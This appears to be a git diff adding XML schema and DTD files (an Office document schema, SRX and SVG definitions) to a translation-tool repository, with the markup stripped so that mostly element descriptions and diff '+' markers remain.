Date Storage Type + + + + + + + + + + + + + + + + + + + + + + + + + Date Display Mask + + + + + Date Picker Language ID + + + + + Custom XML Data Date Storage Format + + + + + + + Last Known Date in XML Schema DateTime Format + + + + + + + + Combo Box List Item + + + + + + Combo Box Last Saved Value + + + + + + + + Document Part Gallery Filter + + + + + Document Part Category Filter + + + + + Built-In Document Part + + + + + + + + + Drop-Down List Item + + + + + + Drop-down List Last Saved Value + + + + + + Picture Storage Type + + + + + Embed Relationship ID In Custom XML Data + + + + + Embed Picture In Custom XML Data + + + + + + + + Picture Storage Type + + + + + + + + Picture Storage Setting + + + + + + + + + Document Part Reference + + + + + + + + Allow Soft Line Breaks + + + + + + + XML Namespace Prefix Mappings + + + + + XPath + + + + + Custom XML Data Storage ID + + + + + + + + Run Properties For Structured Document Tag Contents + + + + + Friendly Name + + + + + Flag errors if blank + + + + + Locking Setting + + + + + Structured Document Tag Placeholder Text + + + + + Current Contents Are Placeholder Text + + + + + Placeholder Text Editing Mode + + + + + XML Mapping + + + + + Remove Structured Document Tag When Contents Are Edited + + + + + Unique ID + + + + + + + Equation Structured Document Tag + + + + + Combo Box Structured Document Tag + + + + + Date Structured Document Tag + + + + + Built-In Document Part Structured Document Tag + + + + + Document Part Gallery Structured Document Tag + + + + + Drop-Down List Structured Document Tag + + + + + Picture Structured Document Tag + + + + + Rich Text Structured Document Tag + + + + + Plain Text Structured Document Tag + + + + + Citation Structured Document Tag + + + + + Group Structured Document Tag + + + + + Bibliography Structured Document Tag + + + + + + + + + + Inline-Level Custom XML Element + + + + + Inline-Level Smart Tag + + + + + Inline-Level Structured Document Tag + + + + + Text Run + + + + + + + + + + + + + Future Storage Bucket + + + + + + + + + + Block-Level Custom XML Element + + + + + Block-Level Smart Tag + + + + + Block-Level Structured Document Tag + + + + + Paragraph + + + + + Table + + + + + + + + + + + + + Future Storage Bucket + + + + + + + + + + Table Row + + + + + Row-Level Custom XML Element + + + + + Row-Level Smart Tag + + + + + Row-Level Structured Document Tag + + + + + + + + + + + + + Future Storage Bucket + + + + + + + + + + Table Cell + + + + + Cell-Level Custom XML Element + + + + + Cell-Level Smart Tag + + + + + Cell-Level Structured Document Tag + + + + + + + + + + + + + Future Storage Bucket + + + + + + + + + + Structured Document Tag Properties + + + + + Block-Level Structured Document Tag Content + + + + + + + + + Structured Document Tag Properties + + + + + Inline-Level Structured Document Tag Content + + + + + + + + + Structured Document Tag Properties + + + + + Cell-Level Structured Document Tag Content + + + + + + + + + Structured Document Tag Properties + + + + + Row-Level Structured Document Tag Content + + + + + + + + Namespace + + + + + Name + + + + + Value + + + + + + + + Custom XML Element Properties + + + + + + Future Storage Bucket + + + + + + + + Custom XML Markup Namespace + + + + + Element name + + + + + + + + Smart Tag Properties + + + + + + Future Storage Bucket + + + + + + + + Smart Tag Namespace + + + + + Smart Tag Name + + + + + + + + Custom XML Element Properties + + + + + + Future Storage Bucket + + + + + + + + Custom XML Element Namespace + + + + + Custom XML Element Name + + + + + + + + Custom XML Element Placeholder Text + + + + + Custom XML Attribute + + + + + + + + + Custom XML Element Properties + + + + + + Future Storage Bucket + + + + + + + + Custom XML Element Namespace + + + + + Custom XML Element Name + + + + + + + + Custom XML Element Properties + + + + + + Future Storage Bucket + + + + + + + + Custom XML Element Namespace + + + + + Custom XML Element Name + + + + + + + + Smart Tag Properties + + + + + + Future Storage Bucket + + + + + + + + Smart Tag Namespace + + + + + Smart Tag Name + + + + + + + + Smart Tag Property + + + + + + + + + Smart Tag Properties + + + + + + Future Storage Bucket + + + + + + + + Smart Tag Namespace + + + + + Smart Tag Name + + + + + + + + Smart Tag Properties + + + + + + Future Storage Bucket + + + + + + + + Smart Tag Namespace + + + + + Smart Tag Name + + + + + + + + Run Properties + + + + + + + + + + Simple Field + + + + + Hyperlink + + + + + Subdocument Anchor Location + + + + + + + + + + + + + Paragraph Properties + + + + + Future Extensibility Storage Location + + + + + + + Revision Identifier for Paragraph Glyph Formatting + + + + + Revision Identifier for Paragraph + + + + + Revision Identifier for Paragraph Deletion + + + + + Revision Identifier for Paragraph Properties + + + + + Default Revision Identifier for Runs + + + + + + Table Width Units + + + + + No Width + + + + + Width in Fiftieths of a Percent + + + + + Width in Twentieths of a Point + + + + + Automatically Determined Width + + + + + + + + Table Row Height + + + + + Table Row Height Type + + + + + + + Table Width Value + + + + + Table Width Type + + + + + + + Grid Column Width + + + + + + + + Grid Column Definition + + + + + + + + + + + Set of Revised Grid Column Definitions + + + + + + + + + + + Table Cell Top Border + + + + + Table Cell Left Border + + + + + Table Cell Bottom Border + + + + + Table Cell Right Border + + + + + Table Cell Inside Horizontal Edges Border + + + + + Table Cell Inside Vertical Edges Border + + + + + Table Cell Top Left to Bottom Right Diagonal Border + + + + + Table Cell Top Right to Bottom Left Diagonal Border + + + + + + + + + Table Cell Top Margin Exception + + + + + Table Cell Left Margin Exception + + + + + Table Cell Bottom Margin Exception + + + + + Table Cell Right Margin Exception + + + + + + + Merged Cell Type + + + + + Continue Merged Region + + + + + Start/Restart Merged Region + + + + + + + + Vertical Merge Type + + + + + + + Horizontal Merge Type + + + + + + + + Table Cell Conditional Formatting + + + + + Preferred Table Cell Width + + + + + Grid Columns Spanned by Current Table Cell + + + + + Horizontally Merged Cell + + + + + Vertically Merged Cell + + + + + Table Cell Borders + + + + + Table Cell Shading + + + + + Don't Wrap Cell Content + + + + + Single Table Cell Margins + + + + + Table Cell Text Flow Direction + + + + + Fit Text Within Cell + + + + + Table Cell Vertical Alignment + + + + + Ignore End Of Cell Marker In Row Height Calculation + + + + + + + + + + + + Set of Revised Table Cell Properties + + + + + + + + + + + Table Cell Properties + + + + + + + + Conditional Formatting Bitmask + + + + + + + + + + Conditional Formatting Bit Mask + + + + + + + + Table Row Conditional Formatting + + + + + Associated HTML div ID + + + + + Grid Columns Before First Cell + + + + + Grid Columns After Last Cell + + + + + Preferred Width Before Table Row + + + + + Preferred Width After Table Row + + + + + Table Row Cannot Break Across Pages + + + + + Table Row Height + + + + + Repeat Table Row on Every New Page + + + + + Table Row Cell Spacing + + + + + Table Row Alignment + + + + + Hidden Table Row Marker + + + + + + + + + + + Inserted Table Row + + + + + Deleted Table Row + + + + + Revised Table Row Properties + + + + + + + + + + + Table-Level Property Exceptions + + + + + Table Row Properties + + + + + + Future Storage Bucket + + + + + + + + Revision Identifier for Table Row Glyph Formatting + + + + + Revision Identifier for Table Row + + + + + Revision Identifier for Table Row Deletion + + + + + Revision Identifier for Table Row Properties + + + + + + Table Layout Type + + + + + Fixed Width Table Layout + + + + + + + + Table Layout Setting + + + + + + Table Overlap Setting + + + + + Floating Table Cannot Overlap + + + + + + + + Floating Table Overlap Setting + + + + + + + Distance From Left of Table to Text + + + + + (Distance From Right of Table to Text + + + + + Distance From Top of Table to Text + + + + + Distance From Bottom of Table to Text + + + + + Table Vertical Anchor + + + + + Table Horizontal Anchor + + + + + Relative Horizontal Alignment From Anchor + + + + + Absolute Horizontal Distance From Anchor + + + + + Relative Vertical Alignment from Anchor + + + + + Absolute Vertical Distance From Anchor + + + + + + + + Table Cell Top Margin Default + + + + + Table Cell Left Margin Default + + + + + Table Cell Bottom Margin Default + + + + + Table Cell Right Margin Default + + + + + + + + + + + + + Value + + + + + + + + Table Top Border + + + + + Table Left Border + + + + + Table Bottom Border + + + + + Table Right Border + + + + + Table Inside Horizontal Edges Border + + + + + Table Inside Vertical Edges Border + + + + + + + + + Referenced Table Style + + + + + Floating Table Positioning + + + + + Floating Table Allows Other Tables to Overlap + + + + + Table Logically Right to Left + + + + + Visually Right to Left Table + + + + + Number of Rows in Row Band + + + + + Number of Columns in Column Band + + + + + Preferred Table Width + + + + + Table Alignment + + + + + Table Cell Spacing Default + + + + + Table Indent from Leading Margin + + + + + Table Borders + + + + + Table Shading + + + + + Table Layout + + + + + Table Cell Margin Defaults + + + + + Table Style Conditional Formatting Settings + + + + + + + + + + + Revised Table Properties + + + + + + + + + + + Preferred Table Width Exception + + + + + Table Alignment Exception + + + + + Table Cell Spacing Exception + + + + + Table Indent from Leading Margin Exception + + + + + Table Borders Exceptions + + + + + Table Shading Exception + + + + + Table Layout Exception + + + + + Table Cell Margin Exceptions + + + + + Table Style Conditional Formatting Settings Exception + + + + + + + + + + + Revised Table-Level Property Exceptions + + + + + + + + + + + Table Bookmarks + + + + + Table Properties + + + + + Table Grid + + + + + + Future Storage Bucket + + + + + + + + + Footnote Positioning Location + + + + + Footnotes Positioned at Page Bottom + + + + + Footnotes Positioned Beneath Text + + + + + + + + Footnote Position Type + + + + + + Endnote Positioning Location + + + + + Endnotes Positioned at End of Section + + + + + Endnotes Positioned at End of Document + + + + + + + + Endnote Position Type + + + + + + + Numbering Format Type + + + + + + Footnote/Endnote Numbering Restart Locations + + + + + Continue Numbering From Previous Section + + + + + Restart Numbering For Each Section + + + + + Restart Numbering On Each Page + + + + + + + + Automatic Numbering Restart Value + + + + + + + + + + Footnote/Endnote Type + + + + + Suppress Footnote/Endnote Reference Mark + + + + + Footnote/Endnote ID + + + + + + + + Footnote and Endnote Numbering Starting Value + + + + + Footnote and Endnote Numbering Restart Location + + + + + + + + + Footnote Placement + + + + + Footnote Numbering Format + + + + + + + + + + Endnote Placement + + + + + Endnote Numbering Format + + + + + + + + + + + + Special Footnote List + + + + + + + + + + + + + Special Endnote List + + + + + + + + + + + Active Record Flag + + + + + + Hash code for record + + + + + + Database column number + + + + + Unique tag + + + + + + + + + + + Field type + + + + + Field name + + + + + Mapped name + + + + + Index of column + + + + + Language ID + + + + + Dynamicaly create address field + + + + + + + + + UDL string + + + + + Table name + + + + + Source file + + + + + Filter data + + + + + Sort data + + + + + Column delimitor + + + + + Jolt DSO type + + + + + Header row exists + + + + + Field mapping data + + + + + Recipient data + + + + + + + + + Mail merge main document type + + + + + Link to query + + + + + Mail Merge Data Type + + + + + Default SQL Query String + + + + + Connection string + + + + + Data source query + + + + + Mail Merge Data Source Path + + + + + Path to mail merge source + + + + + Don't print blank lines + + + + + Mail Merge Destination + + + + + Address field name + + + + + Mail subject line + + + + + Send as attachment + + + + + View merged data + + + + + Active record of mail merge + + + + + Merge Error Reporting Options + + + + + Office Data Source Object + + + + + + + + + 544x376 + + + + + 640x480 + + + + + 720x512 + + + + + 800x600 + + + + + 1024x768 + + + + + 1152x882 + + + + + 1152x900 + + + + + 1280x1024 + + + + + 1600x1200 + + + + + 1800x1440 + + + + + 1920x1200 + + + + + + + + Screen size value + + + + + + Compatibility options type + + + + + Use original table rules + + + + + Full justification + + + + + No tab stop for hanging indent + + + + + No leading space + + + + + Add space for Underlines + + + + + Don't balance columns + + + + + Balane Single Byte and Double Byte Characters + + + + + Transparent metafiles + + + + + No extra line spacing + + + + + Convert backslash into yen sign + + + + + Underline trialing spaces + + + + + Character space expansion + + + + + Use whole number of points + + + + + Lines wrap like Microsoft Word 6.0 + + + + + Print body text before header/footer + + + + + Print colors as black + + + + + Space width + + + + + Show hard page or column breaks in frames. + + + + + Substitute fonts based on font size + + + + + Suppress Space After on Page Bottom + + + + + Suppress Space Before on Page Top + + + + + Suppress spacing at top of page + + + + + Suppress extra line spacing + + + + + Suppress space + + + + + Swap borders on facing pages + + + + + Mail merge escaping + + + + + Truncate font height + + + + + Use larger small caps + + + + + Use pringer metrics + + + + + Word 6 border rules + + + + + Wrap trailing spaces + + + + + Layout footnotes like Word 8 + + + + + Shape layout like Word 97 + + + + + Align table rows independently + + + + + Forget last tab alignment + + + + + Adjust line height to grid height in table + + + + + Emulate Word95 automatic spacing + + + + + No extra space + + + + + HTML paragraph autospacing + + + + + Layout with raw width + + + + + Layout table rows apart + + + + + Use word 97 line breaking rules + + + + + Break Wrapped Tables across pages + + + + + Snap to grid lines inside table cell + + + + + Field selection behavior + + + + + Use line breaking rules + + + + + Wrap text with punctionation + + + + + Use asian rules for line breaks + + + + + Use Word 2002 table style rules + + + + + Don't autofit into margin + + + + + Layout for complex scripts + + + + + Use normal style for list + + + + + Haning indent as tab stop + + + + + Hanging punctuation + + + + + Allow space between paragraphs of same style + + + + + Word 11 indent rules + + + + + Autofit on constrained tables + + + + + Use Word 2003 Table AutoFit + + + + + Underline tab character + + + + + Character spacing like Word 11 + + + + + Page breaks followed by paragraph marks. + + + + + + + + + Document variable name + + + + + Document variable value + + + + + + + + Document variable + + + + + + + + + Root RSID + + + + + RSID data + + + + + + + + + Compression of spacing between characters + + + + + Compress only punctuation + + + + + Compress both characters and punctionation + + + + + + + + Value + + + + + + + XSLT On Save + + + + + Solution ID for transform + + + + + + + + Run properties + + + + + + + + + Default Paragraph Properties + + + + + + + + + Default run properties + + + + + Default Document Paragraph Properties + + + + + + + + + + Light 1 color + + + + + + Light 2 color + + + + + Accent 1 Color + + + + + Accent 2 color + + + + + Accent 3 color + + + + + Accent4 Theme Color + + + + + Accent5 Theme Color + + + + + Accent 6 color + + + + + Hyperlink Theme Color + + + + + Followed hyperlink color + + + + + + + + Background 1 color + + + + + Text 1 color mapping + + + + + Background 2 color + + + + + Text 2 color mapping + + + + + Accent 1 Color + + + + + Accent 2 color + + + + + Accent3 Theme Color Mapping + + + + + Accent4 Theme Color Mappng + + + + + Accent5 Theme Color Mapping + + + + + Accent6 Theme Color Mapping + + + + + Hyperlink Theme Color Mapping + + + + + Followed hyperlink color + + + + + + + + + + + + + + + + + + + Document View Setting + + + + + Zoom Setting + + + + + Remove Personal Information + + + + + Remove Annotation Date and Time + + + + + Page boundary display + + + + + Display Background Shapes + + + + + Print postscript over text + + + + + Print fractional character width + + + + + Print Form Field Data Only + + + + + Embed TrueType Fonts + + + + + Do not embed system fonts + + + + + Save subset fonts + + + + + Save forms data as single record + + + + + Mirror page margins + + + + + Align borders and edges with page border + + + + + Page Header Border Excludes Header + + + + + Page Header Border Excludes Footer + + + + + Gutter at top of document + + + + + Hide spelling errors + + + + + Hide grammar error + + + + + Writing style (grammar) + + + + + Proofing state + + + + + Form design mode + + + + + Attached Document Template + + + + + Link styles + + + + + Style pane filter + + + + + Style pane sorting + + + + + Document type + + + + + Mail Merge Information + + + + + Revision View State + + + + + Track changes in the document + + + + + Track content moves + + + + + Track formatting changes + + + + + Document protection + + + + + Allow AutoFormat to Override Protection + + + + + Lock stylesheet theme + + + + + Lock current quickformats + + + + + Default spacing between tabs + + + + + Automatic hyphenation + + + + + Maximum number of lines + + + + + Hyphenation zone + + + + + Hypenation for all caps words + + + + + Displays the Outlook e-mail bar + + + + + Size for automatic document summary + + + + + Click and Type Paragraph Style + + + + + Default Table Style + + + + + Different Even/Odd Page Headers and Footers + + + + + Print as reverse book fold + + + + + Book Fold Printing + + + + + Number of sheets per booklet + + + + + Drawing Grid Horizontal Spacing + + + + + Drawing grid vertical spacing + + + + + Horizonal Drawing Gridline Spacing + + + + + Vertical Drawing Gridline Spacing + + + + + Use margins for drawing grid origin + + + + + Drawing Grid Horizonal Origin Point + + + + + Drawing grid vertical origin + + + + + Field shading + + + + + Punctuation Kerning + + + + + Compression used for characters + + + + + Print two pages per sheet + + + + + Standard characters for start and end + + + + + No line breaks after + + + + + No line breaks before + + + + + Save preview picture in the document + + + + + Validate Custom XML Against Schemas + + + + + Allow saving as XML when not valid + + + + + Ignore mixed content during schema validation + + + + + Always show placeholder text + + + + + Underline schema violations + + + + + Save XML as data only + + + + + Use custom XSLT when saving as XML + + + + + Save XML through custom transform + + + + + Show custom XML markup + + + + + Merge empty namespace + + + + + Embed linguistic data + + + + + Update Fields On Open + + + + + Shape default wrapper + + + + + Document-Wide Footnote Properties + + + + + Document-Wide Endnote Properties + + + + + Compatibility options + + + + + Document variables + + + + + RSID Table + + + + + properties of math in the document + + + + + Throttle new features + + + + + Attached custom XML Schema + + + + + Theme Font Langauages + + + + + Color scheme mapping + + + + + Include Subdocuments in Word Count + + + + + + + Captions + + + + + Frozen for Ink Annotation + + + + + Smart Tag Type + + + + + Custom XML Schema List + + + + + Global shape defaults + + + + + + + + + + HTML Frameset Definitions + + + + + Divs + + + + + Page encoding + + + + + Optimize HTML for Target Browser + + + + + Rely on VML in HTML + + + + + Allow PNG Format For Web Image File Format + + + + + Turn off CSS + + + + + Do not save as MHTML + + + + + No thicket + + + + + Disable long file names + + + + + Pixels per inch + + + + + Web Page Target Screen Size + + + + + + + + + + Always Show Frame Scrollbar + + + + + + + + + + Value + + + + + + + + Frame size + + + + + Frame name + + + + + Frame source + + + + + Frame margin width + + + + + Frame margin height + + + + + Scrollbar display + + + + + Fixed frame borders + + + + + Linked to the file + + + + + + + + + + + None + + + + + + + + Value + + + + + + + + Frameset splitter width + + + + + Frameset splitter color + + + + + Frameset splitter border + + + + + Frameset splitter border type + + + + + + + + + Frameset size + + + + + Frameset splitbar + + + + + Frameset Layout + + + + + + Nested Frameset Definition + + + + + Frame properties + + + + + + + + + + Picture Numbering Symbol Properties + + + + + + Picture Numbering Symbol ID + + + + + + Content Between Numbering Symbol and Paragraph Text + + + + + Tab Between Numbering and Text + + + + + Space Between Numbering and Text + + + + + Nothing Between Numbering and Text + + + + + + + + Character Type Between Numbering and Text + + + + + + + Level Text + + + + + Level Text Is Null Character + + + + + + + Use Legacy Numbering Properties + + + + + Legacy Spacing + + + + + Legacy Indent + + + + + + + + Starting Value + + + + + Numbering Format + + + + + Restart Numbering Level Symbol + + + + + Numbering Level's Associated Paragraph Style + + + + + Display All Levels Using Arabic Numerals + + + + + Content Between Numbering Symbol and Paragraph Text + + + + + Numbering Level Text + + + + + Picture Numbering Symbol Definition Reference + + + + + Legacy Numbering Level Properties + + + + + Justification + + + + + Numbering Level Associated Paragraph Properties + + + + + Numbering Symbol Run Properties + + + + + + Numbering Level + + + + + Template Code + + + + + Tentative Numbering + + + + + + Numbering Definition Type + + + + + Single Level Numbering Definition + + + + + Multilevel Numbering Definition + + + + + Hybrid Multilevel Numbering Definition + + + + + + + + Abstract Numbering Definition Type + + + + + + + + Abstract Numbering Definition Identifier + + + + + Abstract Numbering Definition Type + + + + + Numbering Template Code + + + + + Abstract Numbering Definition Name + + + + + Numbering Style Definition + + + + + Numbering Style Reference + + + + + Numbering Level Definition + + + + + + Abstract Numbering Definition ID + + + + + + + + Numbering Level Starting Value Override + + + + + Numbering Level Override Definition + + + + + + Numbering Level ID + + + + + + + + Abstract Numbering Definition Reference + + + + + Numbering Level Definition Override + + + + + + Numbering Definition Instance ID + + + + + + + + Picture Numbering Symbol Definition + + + + + Abstract Numbering Definition + + + + + Numbering Definition Instance + + + + + Last Reviewed Abstract Numbering Definition + + + + + + + + + Whole table formatting + + + + + First table row formatting + + + + + Last table row formatting + + + + + First table column formatting + + + + + Last table column formatting + + + + + Odd table columns formatting + + + + + Even table columns formatting + + + + + Odd table rows formatting + + + + + Even table rows formatting + + + + + Top right table cell formatting + + + + + Top left table cell formatting + + + + + Bottom right table cell formatting + + + + + Bottom left table cell formatting + + + + + + + + + Table Style Content Paragraph Properties + + + + + Run properties + + + + + Table properties + + + + + Table Style Row Properties + + + + + Table Style Table Cell Properties + + + + + + Table conditional formatting type + + + + + + + + + Character Style + + + + + + + + + + Value + + + + + + + + Primary style name + + + + + Secondary Style Names + + + + + Unique numerical identifier + + + + + Parent Style ID + + + + + StyleID name + + + + + Linked style id + + + + + Automatically Redefine Style + + + + + Alternate sorting order for style list + + + + + Hide style + + + + + Semi hidden text + + + + + Locked style + + + + + Unhide when used + + + + + QuickFormat Style + + + + + + + + Style Revision identified + + + + + Style Paragraph Properties + + + + + Run properties + + + + + Table Properties + + + + + Style Table Row Properties + + + + + Style Table Cell Properties + + + + + Table style conditional formatting + + + + + + Type of style + + + + + Style ID + + + + + Default for this type of style + + + + + + + + Built-in style name + + + + + Lock override + + + + + Override default sorting order + + + + + Semi hidden text override + + + + + Unhide when used + + + + + Override qformat state + + + + + + + + Latent style instance + + + + + + Default Style Locking State + + + + + Default Style Priority + + + + + Default Hidden State + + + + + Default Unhide When Used State + + + + + Default Quickformat Setting + + + + + Number of latent styles to be initialized + + + + + + + + Default Text Properties + + + + + Builtin style version + + + + + Latent styles + + + + + Style definition + + + + + + + + + + + + + Value + + + + + + + + Novelty font + + + + + + + + + + + + + Value + + + + + + + + Fixed pitch + + + + + Variable pitch + + + + + Default pitch + + + + + + + + Value + + + + + + + Unicode Subset Bitfield (low 32 bits) + + + + + Unicode Subset Bitfield (second 32 bits) + + + + + Unicode Subset Bitfield (third 32 bits) + + + + + Unicode Subset Bitfield (last 32 bits) + + + + + Code Page Bitfield (Lower 32 bits) + + + + + Code Page Bitfield (Upper 32 Bits) + + + + + + + Relationship to Header or Footer Part + + + + + + + + + + Font alternate name + + + + + Panose typface classification number + + + + + Character set + + + + + Font Family + + + + + Not a true type font + + + + + Font pitch + + + + + Glyph information + + + + + Regular Font Embedding + + + + + Bold Style Font Embedding + + + + + Italic Font Embedding + + + + + Bold+Italic Font Embedding + + + + + + Font face name + + + + + + + + Default Document Fonts + + + + + Font + + + + + + + + + HTML DIV Top Border + + + + + Left border style + + + + + Bottom border style + + + + + Right Border Style + + + + + + + + + HTML Blockquote <DIV> Flag + + + + + HTML Body <DIV> Flag + + + + + Div left margin + + + + + Div right margin + + + + + Div top margin + + + + + Div bottom margin + + + + + Div border style + + + + + Child divs + + + + + + Div ID + + + + + + + + HTML div + + + + + + + + + Textbox style + + + + + Textbox class + + + + + + Textbox content + + + + + + + + + + + + + + + + Body Level Content Future Extensibility Container + + + + + Context Free Import + + + + + Alternative Format Import Anchor + + + + + + + + + Proofing Tools Error + + + + + Range Permission Start + + + + + Range Permission End + + + + + + Inserted Region + + + + + Deleted Region + + + + + Move Source Location + + + + + Move Destination Location + + + + + + + + + + Document Final Section Properties + + + + + + + + + Shape Defaults Binary Data + + + + + + + + + + + + + Comments collection + + + + + Footnotes type + + + + + Footnote Content + + + + + + + Document Footnotes + + + + + Endnotes type + + + + + Endnote Content + + + + + + + Document Endnotes + + + + + + Footnote/Endnote ID Reference + + + + + + Header + + + + + Footer + + + + + + Smart tag namespace + + + + + Smart tag element name + + + + + Smart Tag Type Actions URL + + + + + + Theme Color + + + + + Dark 1 Theme Color + + + + + Light 1 Theme Color + + + + + Dark 2 Theme Color + + + + + Light 2 Theme Color + + + + + Accent 1 Theme Color + + + + + Accent 2 Theme Color + + + + + Accent 3 Theme Color + + + + + Accent 4 Theme Color + + + + + Accent 5 Theme Color + + + + + Accent 6 Theme Color + + + + + Hyperlink Theme Color + + + + + Followed Hyperlink Theme Color + + + + + No Theme Color + + + + + Background 1 Theme Color + + + + + Text 1 Theme Color + + + + + Background 2 Theme Color + + + + + Text 2 Theme Color + + + + + + + + + Insert content only + + + + + + + + + + + Value + + + + + + + + Insertion Behavior + + + + + + + + + + + + Toolbar + + + + + + + Structured Document Tag Placeholder Text + + + + + + + + Value + + + + + + + + Building block type + + + + + + Building block is all types + + + + + + + + + All Types + + + + + + + + Equations + + + + + + Headers + + + + + + Tables + + + + + Watermarks + + + + + AutoText + + + + + Textbox + + + + + Top of page + + + + + + Margins + + + + + Table of Contents + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Value + + + + + + + + Category name + + + + + Gallery + + + + + + + + String value + + + + + Special decoration + + + + + + + + Name + + + + + Style Name + + + + + Category + + + + + Building block types + + + + + Insertion Behaviors + + + + + Description + + + + + Document Building Block ID + + + + + + + + + Building block properties + + + + + Building block body + + + + + + + + + Building block + + + + + + + Document Settings + + + + + + Font Definitions + + + + + Numbering Definitions + + + + + Style definitions + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Fixed command name + + + + + Index of fixed command + + + + + Built-in command argument + + + + + + + Allocated command name + + + + + + + Macro name + + + + + + + + Key maps + + + + + Keyboard customization for a macro + + + + + Allocated command + + + + + Keyboard customization for wll macro + + + + + Key maps + + + + + + Keyboard Shortcut Primary Character Code + + + + + Keyboard Shortcut Secondary Character Code + + + + + Primary keycode with modifier + + + + + Secondary keycode with modifier + + + + + + + + Keyboard customization + + + + + + + + Allocated Command Arguments + + + + + Fixed command based on + + + + + Index of fixed command + + + + + Allocated command name + + + + + + + + Allocated command entry + + + + + + + + Macro name + + + + + Macro name + + + + + Menu help text + + + + + Encryption Information + + + + + Command group + + + + + + + + Macro Description Entry + + + + + + + + + New Document Event + + + + + Open Document Event + + + + + Close Document Event + + + + + Synchronize Document Event + + + + + Custom XML Insertion Event + + + + + Custom XML Deletion Event + + + + + Content Control Insertion Event + + + + + Content Control Deletion Event + + + + + Content Control On Exit Event + + + + + Content Control On Enter Event + + + + + Content Control On Data Update + + + + + Content Control On Document Surface Update + + + + + Building Block Insertion Event + + + + + + + + + Document-Level Events + + + + + Macro Descriptions + + + + + + + + + Allocated command reference entry + + + + + + + + + Allocated command manifest + + + + + Toolbar data + + + + + + + + + Keyboard customizations + + + + + Keyboard mappings + + + + + Legacy Toolbar Customizations + + + + + Allocated commands + + + + + + + Keyboard and Toolbar Customizations + + + + + Macro cache + + + + + Supplementary Macro Data + + + + + + + Document Background + + + + + + + + + + + Document Body + + + + + + + + + + + + + Building blocks + + + + + + + + + Document + + + + + Glossary document + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/srx/srx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/srx/srx.dtd new file mode 100644 index 0000000..7c8b435 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/srx/srx.dtd @@ -0,0 +1,92 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/srx/srx.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/srx/srx.xsd new file mode 100644 index 0000000..fc05283 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/srx/srx.xsd @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/svg/svg10.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/svg/svg10.dtd new file mode 100644 index 0000000..ca53381 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/svg/svg10.dtd @@ -0,0 +1,1704 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/svg/svg11.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/svg/svg11.dtd new file mode 100644 index 0000000..655d366 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/svg/svg11.dtd @@ -0,0 +1,5788 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + +]]> + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + 